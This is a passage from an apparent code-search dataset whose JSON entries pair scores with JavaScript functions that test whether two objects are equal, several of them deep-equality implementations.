Object.keys(keySet);\n if (allKeys.length !== leftKeys.length) {\n return false;\n }\n const l = left;\n const r = right;\n const pred = (key) => {\n return isEqual(l[key], r[key]);\n };\n return allKeys.every(pred);\n}", "title": "" }, { "docid": "f55b497a596b177e2e9b410ba14ba8a3", "score": "0.6311554", "text": "function sameValues(object1, object2){\n for(var key in object1){\n if (object1['name'] == object2['name'] || object1['age'] == object2['age']){\n return true;\n }else{\n return false;\n }\n }\n}", "title": "" }, { "docid": "4a48a9a38c43813c4a347a453ae703db", "score": "0.6204304", "text": "function assertEqual(obj1, obj2) {\n let keys1 = Object.keys(obj1);\n let values1 = Object.values(obj1);\n let keys2 = Object.keys(obj2);\n let values2 = Object.values(obj2);\n for (let i = 0; i < keys1.length; i++) {\n if (keys1[i] !== keys2[i]) return false;\n if (values1[i] !== values2[i]) return false;\n }\n return true;\n}", "title": "" }, { "docid": "a4141bf85ab5b0704874b8fb6779018e", "score": "0.6203963", "text": "function gtt_hasAllKeys(dict, keys) {\n const size_k = keys.length;\n for (let iter = 0; iter < size_k; iter++) {\n if (!dict.hasOwnProperty(keys[iter]) || dict[keys[iter]].length < 1) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "8dae39f04661fce0ddf781f8485eca21", "score": "0.61733156", "text": "compareValues(a, b) {\n if (this.isObject(a) && this.isObject(b)) {\n const aKeys = Object.keys(a);\n const bKeys = Object.keys(b);\n\n if (aKeys.length !== bKeys.length) {\n return false;\n }\n\n for (const key of aKeys) {\n const aVal = a[key];\n const bVal = b[key];\n const bothObjects = this.isObject(aVal) && this.isObject(bVal);\n if (bothObjects && !this.compareValues(aVal, bVal) || (!bothObjects && aVal !== bVal)) {\n return false;\n }\n }\n return true;\n } else {\n return a === b;\n }\n }", "title": "" }, { "docid": "0ffb1ffbf9f62667207ad93240ec7c94", "score": "0.6158581", "text": "function Object$prototype$equals(other) {\n var self = this;\n var keys = sortedKeys (this);\n return equals (keys, sortedKeys (other)) &&\n keys.every (function(k) { return equals (self[k], other[k]); });\n }", "title": "" }, { "docid": "bb9c3223025d95ea7eb5fb28e3650798", "score": "0.6089705", "text": "function keyValueSame(object1, object2) {\n var isSame = false;\n for (var obj1Key in object1) {\n if (object2.hasOwnProperty(obj1Key)) {\n if (object1[obj1Key] === object2[obj1Key]) {\n isSame = true;\n };\n };\n };\nconsole.log(isSame);\n}", "title": "" }, { "docid": "6771ea5249630e0dcf122ce02dbca775", "score": "0.60617524", "text": "function compareKeyValues(obj1, obj2) {\n compareKeys(getKeys(obj1), getKeys(obj2))\n compareValues(obj1, obj2, matchedKeys)\n return hasMatch(matchedValues)\n}", "title": "" }, { "docid": "43a1130f20ba49ac2e5e76237ce73ac2", "score": "0.6059185", "text": "isSameObject (a, b) {\n if (Object.keys(a).length !== Object.keys(b).length) {\n return false\n }\n for (let k in a) {\n if (b[k] === undefined) {\n return false\n }\n if (a[k] !== b[k]) {\n return false\n }\n }\n return true\n }", "title": "" }, { "docid": "993ec4e5abec10fc5a88bf77fad60b7e", "score": "0.60529447", "text": "function equalKeysAssert() {\n for (var _len = arguments.length, keys = Array(_len), _key = 0; _key < _len; _key++) {\n keys[_key] = arguments[_key];\n }\n\n /**\n * Class name.\n */\n\n this.__class__ = 'EqualKeys';\n\n if (keys.length === 1 && (0, _lodash.isArray)(keys[0])) {\n keys = keys[0];\n }\n\n /**\n * Keys.\n */\n\n this.keys = keys;\n\n /**\n * Validation algorithm.\n */\n\n this.validate = value => {\n if (!(0, _lodash.isPlainObject)(value)) {\n throw new _validator.Violation(this, value, { value: 'must_be_a_plain_object' });\n }\n\n const keys = Object.keys(value);\n\n if (keys.length === 0 && this.keys.length > 0 || this.keys.length > keys.length) {\n throw new _validator.Violation(this, value, { difference: (0, _lodash.difference)(this.keys, keys) });\n }\n\n const intersects = (0, _lodash.intersection)(this.keys, keys);\n\n if (keys.length > this.keys.length || intersects.length !== keys.length) {\n throw new _validator.Violation(this, value, { difference: (0, _lodash.difference)(keys, this.keys) });\n }\n\n return true;\n };\n\n return this;\n}", "title": "" }, { "docid": "7030cdd3ad834658346c30bc7943d8af", "score": "0.6027441", "text": "function isEqual(obj1,obj2){\n if (Object.keys(obj1).length !== Object.keys(obj2).length){\n return false;\n }\n else{\n for (let key in obj1){\n if (!(key in obj2)) return false;\n else if (typeof obj1[key] === 'object'){\n isEqual(obj1[key], obj2[key])\n }\n }\n return true;\n }\n}", "title": "" }, { "docid": "0249481a51938ff67a1c0c8830250ad0", "score": "0.6019881", "text": "function keyvaluematch(object1, object2) {\n var is_match = false;\n var i = 0\n while (i < Object.keys(object1).length) //Iterating over all keys for\n {\n if (object1[Object.keys(object1)[i]] == object2[Object.keys(object1)[i]]) //If the values for any corresponding keys are equivalent for the two objects\n {\n is_match = true;\n }\n i++\n }\n return is_match;\n}", "title": "" }, { "docid": "4a772fb62cf680d5d4425e83900c7e68", "score": "0.59918183", "text": "function assertEqual(original, cloned) {\n let keys = Object.keys(original);\n return keys.every(key => original[key]===cloned[key]);/*for(let i=0; i<keys.length;i++){if(original[keys[i]] !== clone[keys[i]]) return false;}return true;*/\n}", "title": "" }, { "docid": "b3d8795c5b5c8d19e2ed5da7af600e08", "score": "0.5956276", "text": "function objectsEqual(obj1, obj2) {\n let k1 = Object.keys(obj1).sort();\n let k2 = Object.keys(obj2).sort();\n let keyMatch = k1.every((value, idx) => value === k2[idx]);\n\n let v1 = Object.values(obj1).sort();\n let v2 = Object.values(obj2).sort();\n let valueMatch = v1.every((value, idx) => value === v2[idx]);\n\n return keyMatch && valueMatch;\n}", "title": "" }, { "docid": "12aceb13d45ae6351680104b6a681d29", "score": "0.59515935", "text": "function compareObjects(left, right) {\n var left_keys = Object.keys(left);\n var right_keys = Object.keys(right);\n if (!compareArrays(left_keys, right_keys)) {\n return false;\n }return left_keys.every(function (key) {\n return compare(left[key], right[key]);\n });\n}", "title": "" }, { "docid": "5607e4205d680f4d46aa7e5008e79ec1", "score": "0.5936655", "text": "function anyKeyValueMatch(obj1, obj2) {\n for (var key in obj1) {\n if(obj2[key] != null) {\n if (obj1[key] == obj2[key]) {\n return true;\n }\n }\n }\n return false;\n}", "title": "" }, { "docid": "9067b040ba183d09b8de130c5870977a", "score": "0.59257334", "text": "function equalObjects(a, b) {\n if (typeof a !== typeof b) {\n return false;\n }\n if (typeof a !== 'object') {\n return a === b;\n }\n if (a === b) {\n return true;\n }\n if (toString.call(a) === '[object Date]') {\n if (toString.call(b) === '[object Date]') {\n return +a === +b;\n }\n return false;\n }\n if (Array.isArray(a)) {\n if (Array.isArray(b)) {\n if (a.length !== b.length) {\n return false;\n }\n for (var i = 0; i < a.length; i++) {\n if (!equalObjects(a[i], b[i])) {\n return false;\n }\n }\n return true;\n }\n return false;\n }\n if (Object.keys(a).length !== Object.keys(b).length) {\n return false;\n }\n for (var key in a) {\n if (!equalObjects(a[key], b[key])) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "60d6a59d09ba1635fa79d16051404869", "score": "0.5917832", "text": "function _compareObjects(left, right) {\n var left_keys = Object.keys(left);\n var right_keys = Object.keys(right);\n if (!_compareArrays(left_keys, right_keys)) return false;\n\n return left_keys.every(function (key) {\n return compare(left[key], right[key]);\n });\n}", "title": "" }, { "docid": "348a5b31e5a3f4fb46aaea3e36cfb7f2", "score": "0.59138495", "text": "function isSame(obj1,obj2){\n if (Object.keys(obj1).length !== Object.keys(obj2).length){\n return false;\n }\n else{\n if (obj1 === obj2) return true;\n else return false;\n }\n}", "title": "" }, { "docid": "7d432fac94419b7c7d7d158e4805495d", "score": "0.588903", "text": "function isEqual(dict, other) {\n const dictKeys = keys(dict);\n const otherKeys = keys(other);\n if (dictKeys.length !== otherKeys.length) {\n return false;\n }\n for (const key of dictKeys) {\n if (dict[key] !== other[key]) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "770b68f0a18f5e4abec4c84617fd2b8e", "score": "0.58556527", "text": "deepEqual(obj1, obj2) {\n if (obj1 === null || obj2 === null || obj1 === undefined || obj2 === undefined) {\n return obj1 === obj2;\n }\n if (typeof (obj1) === typeof (obj1) && typeof (obj1) === \"object\") {\n let keys1 = Object.keys(obj1);\n let keys2 = Object.keys(obj2);\n if (keys1.length !== keys2.length) {\n return false;\n }\n for (let k of keys1) {\n if (!keys2.includes(k) || !this.deepEqual(obj1[k], obj2[k])) {\n return false;\n }\n }\n return true;\n }\n return obj1 === obj2;\n }", "title": "" }, { "docid": "12c13b2e4d9af81fc317e43f5fcc455d", "score": "0.5852425", "text": "function _areEquals(a, b) {\n if (a === b) return true;\n\n if (a && b && _typeof(a) == 'object' && _typeof(b) == 'object') {\n var arrA = Array.isArray(a),\n arrB = Array.isArray(b),\n i,\n length,\n key;\n\n if (arrA && arrB) {\n length = a.length;\n if (length != b.length) return false;\n\n for (i = length; i-- !== 0;) {\n if (!_areEquals(a[i], b[i])) return false;\n }\n\n return true;\n }\n\n if (arrA != arrB) return false;\n var keys = Object.keys(a);\n length = keys.length;\n if (length !== Object.keys(b).length) return false;\n\n for (i = length; i-- !== 0;) {\n if (!b.hasOwnProperty(keys[i])) return false;\n }\n\n for (i = length; i-- !== 0;) {\n key = keys[i];\n if (!_areEquals(a[key], b[key])) return false;\n }\n\n return true;\n }\n\n return a !== a && b !== b;\n }", "title": "" }, { "docid": "217bbd0281e9ae8f932d7a708eb63ba1", "score": "0.5837811", "text": "function isEqual(a, b) {\n if (typeof a === 'function' && typeof b === 'function') {\n return true;\n }\n if (a instanceof Array && b instanceof Array) {\n if (a.length !== b.length) {\n return false;\n }\n for (var i = 0; i !== a.length; i++) {\n if (!isEqual(a[i], b[i])) {\n return false;\n }\n }\n return true;\n }\n if (isObject(a) && isObject(b)) {\n var _iteratorNormalCompletion3 = true;\n var _didIteratorError3 = false;\n var _iteratorError3 = undefined;\n\n try {\n for (var _iterator3 = Object.keys(a)[Symbol.iterator](), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {\n var key = _step3.value;\n\n if (!isEqual(a[key], b[key])) {\n return false;\n }\n }\n } catch (err) {\n _didIteratorError3 = true;\n _iteratorError3 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion3 && _iterator3['return']) {\n _iterator3['return']();\n }\n } finally {\n if (_didIteratorError3) {\n throw _iteratorError3;\n }\n }\n }\n\n return true;\n }\n return a === b;\n}", "title": "" }, { "docid": "f0ed99e1f41c9637485cabb7d1ee9bbd", "score": "0.58364224", "text": "function looseEqual(a, b) {\n if (a === b) {\n return true;\n }\n\n var aValidType = isDate(a);\n var bValidType = isDate(b);\n\n if (aValidType || bValidType) {\n return aValidType && bValidType ? a.getTime() === b.getTime() : false;\n }\n\n aValidType = (0, _array.isArray)(a);\n bValidType = (0, _array.isArray)(b);\n\n if (aValidType || bValidType) {\n return aValidType && bValidType ? a.length === b.length && a.every(function (e, i) {\n return looseEqual(e, b[i]);\n }) : false;\n }\n\n aValidType = (0, _object.isObject)(a);\n bValidType = (0, _object.isObject)(b);\n\n if (aValidType || bValidType) {\n /* istanbul ignore if: this if will probably never be called */\n if (!aValidType || !bValidType) {\n return false;\n }\n\n var aKeysCount = (0, _object.keys)(a).length;\n var bKeysCount = (0, _object.keys)(b).length;\n\n if (aKeysCount !== bKeysCount) {\n return false;\n }\n\n for (var key in a) {\n var aHasKey = a.hasOwnProperty(key);\n var bHasKey = b.hasOwnProperty(key);\n\n if (aHasKey && !bHasKey || !aHasKey && bHasKey || !looseEqual(a[key], b[key])) {\n return false;\n }\n }\n }\n\n return String(a) === String(b);\n}", "title": "" }, { "docid": "f34713973ad4bb91edfaabf73e2acde6", "score": "0.5832605", "text": "function _areEquals(a, b) {\n if (a === b) return true;\n\n if (a && b && typeof a == 'object' && typeof b == 'object') {\n var arrA = Array.isArray(a),\n arrB = Array.isArray(b),\n i,\n length,\n key;\n\n if (arrA && arrB) {\n length = a.length;\n if (length != b.length) return false;\n\n for (i = length; i-- !== 0;) if (!_areEquals(a[i], b[i])) return false;\n\n return true;\n }\n\n if (arrA != arrB) return false;\n var keys = Object.keys(a);\n length = keys.length;\n if (length !== Object.keys(b).length) return false;\n\n for (i = length; i-- !== 0;) if (!b.hasOwnProperty(keys[i])) return false;\n\n for (i = length; i-- !== 0;) {\n key = keys[i];\n if (!_areEquals(a[key], b[key])) return false;\n }\n\n return true;\n }\n\n return a !== a && b !== b;\n}", "title": "" }, { "docid": "805e64f975068417da9893a94c4f4a4b", "score": "0.58161694", "text": "function deepEquals(a, b) {\n if (a === b) {\n return true;\n }\n\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length != b.length) return false;\n\n for (var i = 0; i < a.length; i++) {\n if (!deepEquals(a[i], b[i])) {\n return false;\n }\n }\n\n return true;\n }\n\n if (Array.isArray(a) != Array.isArray(b)) {\n return false;\n }\n\n if (a && b && typeof a === 'object' && typeof b === 'object') {\n var keys = Object.keys(a);\n\n if (keys.length !== Object.keys(b).length) {\n return false;\n }\n\n if (a instanceof Date && b instanceof Date) {\n return a.getTime() === b.getTime();\n }\n\n if (a instanceof Date != b instanceof Date) {\n return false;\n }\n\n if (a instanceof RegExp && b instanceof RegExp) {\n return a.toString() == b.toString();\n }\n\n if (a instanceof RegExp != b instanceof RegExp) {\n return false;\n }\n\n for (var _i = 0; _i < keys.length; _i++) {\n if (keys[_i] === '_key') {\n continue;\n }\n\n if (!Object.prototype.hasOwnProperty.call(b, keys[_i])) {\n return false;\n }\n }\n\n for (var _i2 = 0; _i2 < keys.length; _i2++) {\n var key = keys[_i2];\n\n if (key === '_key') {\n continue;\n }\n\n if (!deepEquals(a[key], b[key])) {\n return false;\n }\n }\n\n return true;\n }\n\n return false;\n}", "title": "" }, { "docid": "d06f797fb45abd80df8064b07c4abf7d", "score": "0.5811968", "text": "function isEqual(dict, other) {\n const dictKeys = keys(dict);\n const otherKeys = keys(other);\n\n if (dictKeys.length !== otherKeys.length) {\n return false;\n }\n\n for (const key of dictKeys) {\n if (dict[key] !== other[key]) {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "ce62a3b0478b49475295a4d39abcab97", "score": "0.5806121", "text": "function objectsEqual(e1, e2){\n\tif(Object.keys(e1).length != Object.keys(e2).length){\n\t\treturn false;\n\t}\n\tfor(var key in e1){\n\t\tif(!((e1.hasOwnProperty(key) && e2.hasOwnProperty(key)) && (e1[key] == e2[key]))){\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}", "title": "" }, { "docid": "b3563210d64168e57cd78ebcabe08c6c", "score": "0.5801109", "text": "function equal(a, b) {\n // START: fast-deep-equal es6/index.js 3.1.1\n if (a === b) return true;\n\n if (a && b && typeof a == 'object' && typeof b == 'object') {\n if (a.constructor !== b.constructor) return false;\n\n var length, i, keys;\n if (Array.isArray(a)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (!equal(a[i], b[i])) return false;\n return true;\n }\n\n // START: Modifications:\n // 1. Extra `has<Type> &&` helpers in initial condition allow es6 code\n // to co-exist with es5.\n // 2. Replace `for of` with es5 compliant iteration using `for`.\n // Basically, take:\n //\n // ```js\n // for (i of a.entries())\n // if (!b.has(i[0])) return false;\n // ```\n //\n // ... and convert to:\n //\n // ```js\n // it = a.entries();\n // while (!(i = it.next()).done)\n // if (!b.has(i.value[0])) return false;\n // ```\n //\n // **Note**: `i` access switches to `i.value`.\n var it;\n if (hasMap && (a instanceof Map) && (b instanceof Map)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!equal(i.value[1], b.get(i.value[0]))) return false;\n return true;\n }\n\n if (hasSet && (a instanceof Set) && (b instanceof Set)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n return true;\n }\n // END: Modifications\n\n if (hasArrayBuffer && ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (a[i] !== b[i]) return false;\n return true;\n }\n\n if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;\n if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();\n if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();\n\n keys = Object.keys(a);\n length = keys.length;\n if (length !== Object.keys(b).length) return false;\n\n for (i = length; i-- !== 0;)\n if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n // END: fast-deep-equal\n\n // START: react-fast-compare\n // custom handling for DOM elements\n if (hasElementType && a instanceof Element) return false;\n\n // custom handling for React/Preact\n for (i = length; i-- !== 0;) {\n if ((keys[i] === '_owner' || keys[i] === '__v' || keys[i] === '__o') && a.$$typeof) {\n // React-specific: avoid traversing React elements' _owner\n // Preact-specific: avoid traversing Preact elements' __v and __o\n // __v = $_original / $_vnode\n // __o = $_owner\n // These properties contain circular references and are not needed when\n // comparing the actual elements (and not their owners)\n // .$$typeof and ._store on just reasonable markers of elements\n\n continue;\n }\n\n // all other properties should be traversed as usual\n if (!equal(a[keys[i]], b[keys[i]])) return false;\n }\n // END: react-fast-compare\n\n // START: fast-deep-equal\n return true;\n }\n\n return a !== a && b !== b;\n}", "title": "" }, { "docid": "b3563210d64168e57cd78ebcabe08c6c", "score": "0.5801109", "text": "function equal(a, b) {\n // START: fast-deep-equal es6/index.js 3.1.1\n if (a === b) return true;\n\n if (a && b && typeof a == 'object' && typeof b == 'object') {\n if (a.constructor !== b.constructor) return false;\n\n var length, i, keys;\n if (Array.isArray(a)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (!equal(a[i], b[i])) return false;\n return true;\n }\n\n // START: Modifications:\n // 1. Extra `has<Type> &&` helpers in initial condition allow es6 code\n // to co-exist with es5.\n // 2. Replace `for of` with es5 compliant iteration using `for`.\n // Basically, take:\n //\n // ```js\n // for (i of a.entries())\n // if (!b.has(i[0])) return false;\n // ```\n //\n // ... and convert to:\n //\n // ```js\n // it = a.entries();\n // while (!(i = it.next()).done)\n // if (!b.has(i.value[0])) return false;\n // ```\n //\n // **Note**: `i` access switches to `i.value`.\n var it;\n if (hasMap && (a instanceof Map) && (b instanceof Map)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!equal(i.value[1], b.get(i.value[0]))) return false;\n return true;\n }\n\n if (hasSet && (a instanceof Set) && (b instanceof Set)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n return true;\n }\n // END: Modifications\n\n if (hasArrayBuffer && ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (a[i] !== b[i]) return false;\n return true;\n }\n\n if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;\n if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();\n if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();\n\n keys = Object.keys(a);\n length = keys.length;\n if (length !== Object.keys(b).length) return false;\n\n for (i = length; i-- !== 0;)\n if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n // END: fast-deep-equal\n\n // START: react-fast-compare\n // custom handling for DOM elements\n if (hasElementType && a instanceof Element) return false;\n\n // custom handling for React/Preact\n for (i = length; i-- !== 0;) {\n if ((keys[i] === '_owner' || keys[i] === '__v' || keys[i] === '__o') && a.$$typeof) {\n // React-specific: avoid traversing React elements' _owner\n // Preact-specific: avoid traversing Preact elements' __v and __o\n // __v = $_original / $_vnode\n // __o = $_owner\n // These properties contain circular references and are not needed when\n // comparing the actual elements (and not their owners)\n // .$$typeof and ._store on just reasonable markers of elements\n\n continue;\n }\n\n // all other properties should be traversed as usual\n if (!equal(a[keys[i]], b[keys[i]])) return false;\n }\n // END: react-fast-compare\n\n // START: fast-deep-equal\n return true;\n }\n\n return a !== a && b !== b;\n}", "title": "" }, { "docid": "b3563210d64168e57cd78ebcabe08c6c", "score": "0.5801109", "text": "function equal(a, b) {\n // START: fast-deep-equal es6/index.js 3.1.1\n if (a === b) return true;\n\n if (a && b && typeof a == 'object' && typeof b == 'object') {\n if (a.constructor !== b.constructor) return false;\n\n var length, i, keys;\n if (Array.isArray(a)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (!equal(a[i], b[i])) return false;\n return true;\n }\n\n // START: Modifications:\n // 1. Extra `has<Type> &&` helpers in initial condition allow es6 code\n // to co-exist with es5.\n // 2. Replace `for of` with es5 compliant iteration using `for`.\n // Basically, take:\n //\n // ```js\n // for (i of a.entries())\n // if (!b.has(i[0])) return false;\n // ```\n //\n // ... and convert to:\n //\n // ```js\n // it = a.entries();\n // while (!(i = it.next()).done)\n // if (!b.has(i.value[0])) return false;\n // ```\n //\n // **Note**: `i` access switches to `i.value`.\n var it;\n if (hasMap && (a instanceof Map) && (b instanceof Map)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!equal(i.value[1], b.get(i.value[0]))) return false;\n return true;\n }\n\n if (hasSet && (a instanceof Set) && (b instanceof Set)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n return true;\n }\n // END: Modifications\n\n if (hasArrayBuffer && ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (a[i] !== b[i]) return false;\n return true;\n }\n\n if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;\n if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();\n if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();\n\n keys = Object.keys(a);\n length = keys.length;\n if (length !== Object.keys(b).length) return false;\n\n for (i = length; i-- !== 0;)\n if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n // END: fast-deep-equal\n\n // START: react-fast-compare\n // custom handling for DOM elements\n if (hasElementType && a instanceof Element) return false;\n\n // custom handling for React/Preact\n for (i = length; i-- !== 0;) {\n if ((keys[i] === '_owner' || keys[i] === '__v' || keys[i] === '__o') && a.$$typeof) {\n // React-specific: avoid traversing React elements' _owner\n // Preact-specific: avoid traversing Preact elements' __v and __o\n // __v = $_original / $_vnode\n // __o = $_owner\n // These properties contain circular references and are not needed when\n // comparing the actual elements (and not their owners)\n // .$$typeof and ._store on just reasonable markers of elements\n\n continue;\n }\n\n // all other properties should be traversed as usual\n if (!equal(a[keys[i]], b[keys[i]])) return false;\n }\n // END: react-fast-compare\n\n // START: fast-deep-equal\n return true;\n }\n\n return a !== a && b !== b;\n}", "title": "" }, { "docid": "b3563210d64168e57cd78ebcabe08c6c", "score": "0.5801109", "text": "function equal(a, b) {\n // START: fast-deep-equal es6/index.js 3.1.1\n if (a === b) return true;\n\n if (a && b && typeof a == 'object' && typeof b == 'object') {\n if (a.constructor !== b.constructor) return false;\n\n var length, i, keys;\n if (Array.isArray(a)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (!equal(a[i], b[i])) return false;\n return true;\n }\n\n // START: Modifications:\n // 1. Extra `has<Type> &&` helpers in initial condition allow es6 code\n // to co-exist with es5.\n // 2. Replace `for of` with es5 compliant iteration using `for`.\n // Basically, take:\n //\n // ```js\n // for (i of a.entries())\n // if (!b.has(i[0])) return false;\n // ```\n //\n // ... and convert to:\n //\n // ```js\n // it = a.entries();\n // while (!(i = it.next()).done)\n // if (!b.has(i.value[0])) return false;\n // ```\n //\n // **Note**: `i` access switches to `i.value`.\n var it;\n if (hasMap && (a instanceof Map) && (b instanceof Map)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!equal(i.value[1], b.get(i.value[0]))) return false;\n return true;\n }\n\n if (hasSet && (a instanceof Set) && (b instanceof Set)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n return true;\n }\n // END: Modifications\n\n if (hasArrayBuffer && ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (a[i] !== b[i]) return false;\n return true;\n }\n\n if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;\n if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();\n if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();\n\n keys = Object.keys(a);\n length = keys.length;\n if (length !== Object.keys(b).length) return false;\n\n for (i = length; i-- !== 0;)\n if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n // END: fast-deep-equal\n\n // START: react-fast-compare\n // custom handling for DOM elements\n if (hasElementType && a instanceof Element) return false;\n\n // custom handling for React/Preact\n for (i = length; i-- !== 0;) {\n if ((keys[i] === '_owner' || keys[i] === '__v' || keys[i] === '__o') && a.$$typeof) {\n // React-specific: avoid traversing React elements' _owner\n // Preact-specific: avoid traversing Preact elements' __v and __o\n // __v = $_original / $_vnode\n // __o = $_owner\n // These properties contain circular references and are not needed when\n // comparing the actual elements (and not their owners)\n // .$$typeof and ._store on just reasonable markers of elements\n\n continue;\n }\n\n // all other properties should be traversed as usual\n if (!equal(a[keys[i]], b[keys[i]])) return false;\n }\n // END: react-fast-compare\n\n // START: fast-deep-equal\n return true;\n }\n\n return a !== a && b !== b;\n}", "title": "" }, { "docid": "b3563210d64168e57cd78ebcabe08c6c", "score": "0.5801109", "text": "function equal(a, b) {\n // START: fast-deep-equal es6/index.js 3.1.1\n if (a === b) return true;\n\n if (a && b && typeof a == 'object' && typeof b == 'object') {\n if (a.constructor !== b.constructor) return false;\n\n var length, i, keys;\n if (Array.isArray(a)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (!equal(a[i], b[i])) return false;\n return true;\n }\n\n // START: Modifications:\n // 1. Extra `has<Type> &&` helpers in initial condition allow es6 code\n // to co-exist with es5.\n // 2. Replace `for of` with es5 compliant iteration using `for`.\n // Basically, take:\n //\n // ```js\n // for (i of a.entries())\n // if (!b.has(i[0])) return false;\n // ```\n //\n // ... and convert to:\n //\n // ```js\n // it = a.entries();\n // while (!(i = it.next()).done)\n // if (!b.has(i.value[0])) return false;\n // ```\n //\n // **Note**: `i` access switches to `i.value`.\n var it;\n if (hasMap && (a instanceof Map) && (b instanceof Map)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!equal(i.value[1], b.get(i.value[0]))) return false;\n return true;\n }\n\n if (hasSet && (a instanceof Set) && (b instanceof Set)) {\n if (a.size !== b.size) return false;\n it = a.entries();\n while (!(i = it.next()).done)\n if (!b.has(i.value[0])) return false;\n return true;\n }\n // END: Modifications\n\n if (hasArrayBuffer && ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (a[i] !== b[i]) return false;\n return true;\n }\n\n if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;\n if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();\n if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();\n\n keys = Object.keys(a);\n length = keys.length;\n if (length !== Object.keys(b).length) return false;\n\n for (i = length; i-- !== 0;)\n if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n // END: fast-deep-equal\n\n // START: react-fast-compare\n // custom handling for DOM elements\n if (hasElementType && a instanceof Element) return false;\n\n // custom handling for React/Preact\n for (i = length; i-- !== 0;) {\n if ((keys[i] === '_owner' || keys[i] === '__v' || keys[i] === '__o') && a.$$typeof) {\n // React-specific: avoid traversing React elements' _owner\n // Preact-specific: avoid traversing Preact elements' __v and __o\n // __v = $_original / $_vnode\n // __o = $_owner\n // These properties contain circular references and are not needed when\n // comparing the actual elements (and not their owners)\n // .$$typeof and ._store on just reasonable markers of elements\n\n continue;\n }\n\n // all other properties should be traversed as usual\n if (!equal(a[keys[i]], b[keys[i]])) return false;\n }\n // END: react-fast-compare\n\n // START: fast-deep-equal\n return true;\n }\n\n return a !== a && b !== b;\n}", "title": "" }, { "docid": "ae95561277325675ed44bbf8d5f1aa50", "score": "0.5797166", "text": "function objEquiv(a, b) {\n if (a == null || b == null) {\n return false;\n }\n if (a.prototype !== b.prototype) {\n return false;\n }\n if (typeOf(a) == 'arguments') {\n if (!typeOf(b) != 'arguments') {\n return false;\n }\n a = pSlice.call(a);\n b = pSlice.call(b);\n return deepEqual(a, b);\n }\n try {\n var ka = Object.keys(a);\n var kb = Object.keys(b);\n } catch (e) {\n return false;\n }\n if (ka.length != kb.length) {\n return false;\n }\n ka.sort();\n kb.sort();\n var key, i;\n for (i = ka.length - 1; i >= 0; i--) {\n if (ka[i] != kb[i]) {\n return false;\n }\n }\n for (i = ka.length - 1; i >= 0; i--) {\n key = ka[i];\n if (!deepEqual(a[key], b[key])) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "2ef317756e04e501036bb0f0a62612e3", "score": "0.5789681", "text": "function equal(a, b) {\n\n if (sameValue(a, b))\n 